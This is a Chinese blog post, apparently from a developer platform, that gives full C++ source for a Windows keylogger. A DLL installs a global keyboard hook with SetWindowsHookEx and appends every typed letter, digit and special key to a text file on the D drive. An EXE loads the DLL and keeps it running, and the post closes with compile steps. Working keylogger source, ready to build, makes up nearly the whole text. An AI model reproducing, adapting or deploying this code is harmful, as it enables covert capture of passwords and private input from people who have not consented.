键盘击键记录器

KeyLoggerDLL.cpp

#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/section:.my_share_sec,RWS")

#pragma comment(lib, "user32.lib")

#include <stdio.h>
#include <windows.h>

#pragma data_seg(".my_share_sec")
HHOOK g_hhookKeyBoard = NULL;
bool g_fRunning = false;
#pragma data_seg()

static void SaveToFile(char* buf)
{
    FILE* fp = NULL;
    fp = fopen("D://KeyLogger.txt", "a"); // 将击键记录追加写入文件
    if ( fp != NULL )
    {
        fwrite(buf, strlen(buf), 1, fp);
        fclose(fp);
        fp = NULL;
    }
}

static void UnSetHook(void)
{
    if ( g_hhookKeyBoard != NULL )
    {
        UnhookWindowsHookEx(g_hhookKeyBoard);
        g_hhookKeyBoard = NULL;
    }

    g_fRunning = false;
}

LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
    if ( HC_ACTION == code && 1 == (lParam>>31&1) )
    {
        if ( wParam >= 48 && wParam <= 57 || wParam >= 65 && wParam <= 90 ) // 如果是字母键或数字键
        {
            if ( wParam >= 65 && wParam <= 90 )
            {
                wParam += 32;
            }

            char sz[2] = {0};
            sz[0] = wParam;
            sz[1] = 0;
            SaveToFile(sz);
        }
        else // 如果是其它特殊按键
        {
            switch (wParam)
            {
            case VK_RETURN:
                SaveToFile("/n");
                break;

            case VK_SPACE:
                SaveToFile(" ");
                break;

            case VK_BACK:
                SaveToFile("[Back]");
                break;

            case VK_TAB:
                SaveToFile("[Tab]");
                break;

            case VK_NUMPAD0:
                SaveToFile("0");
                break;
            case VK_NUMPAD1:
                SaveToFile("1");
                break;
            case VK_NUMPAD2:
                SaveToFile("2");
                break;
            case VK_NUMPAD3:
                SaveToFile("3");
                break;
            case VK_NUMPAD4:
                SaveToFile("4");
                break;
            case VK_NUMPAD5:
                SaveToFile("5");
                break;
            case VK_NUMPAD6:
                SaveToFile("6");
                break;
            case VK_NUMPAD7:
                SaveToFile("7");
                break;
            case VK_NUMPAD8:
                SaveToFile("8");
                break;
            case VK_NUMPAD9:
                SaveToFile("9");
                break;

            case VK_F8:
                if (lParam>>29&1) // Alt+F8
                {
                    UnSetHook(); // 卸载钩子
                }
                break;

            default:
                SaveToFile("[Unknown]");
                break;
            }
        }
    }

    return CallNextHookEx(g_hhookKeyBoard, code, wParam, lParam);
}

// --------------------------------------------------------------

extern "C" __declspec(dllexport) bool KeyLoggerInit(void)
{
    UnSetHook();

    g_hhookKeyBoard = SetWindowsHookEx(
        WH_KEYBOARD,
        KeyBoardProc,
        GetModuleHandle("KeyLoggerDLL.dll"),
        0
        );

    if ( NULL != g_hhookKeyBoard )
    {
        g_fRunning = true;
    }

    return g_fRunning;
}

extern "C" __declspec(dllexport) bool KeyLoggerRunning(void)
{
    return g_fRunning;
}

// --------------------------------------------------------------

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved )  // reserved
{
    // Perform actions based on the reason for calling.
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
            break;

        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}


KeyLoggerEXE.cpp

#pragma comment(linker, "/subsystem:windows")

#pragma comment(lib, "user32.lib")
#pragma comment(lib, "KeyLoggerDLL.lib")

#include <windows.h>

extern "C" __declspec(dllimport) bool KeyLoggerInit(void);
extern "C" __declspec(dllimport) bool KeyLoggerRunning(void);

static void DebugInfo(char* szInfo)
{
    MessageBox(NULL, szInfo, "Debug KeyLogger", 0);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    if ( KeyLoggerInit() )
    {
        DebugInfo("KeyLogInit is true");

        while ( true )
        {
            if ( false == KeyLoggerRunning() )
            {
                break;
            }
            else
            {
                Sleep(1000);
            }
        }

        DebugInfo("exit");
        return 0;
    }
    else
    {
        DebugInfo("KeyLogInit is false!");
        return 1;
    }
}


编译运行步骤(在命令行模式下):

1、生成DLL文件:cl /LD KeyLoggerDLL.cpp

2、生成EXE文件:cl KeyLoggerEXE.cpp

3、双击运行生成的exe文件,然后你会发现在D盘根目录下有记录着你击键记录的文件KeyLogger.txt,最后,按下组合键Alt+F8即可退出程序。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值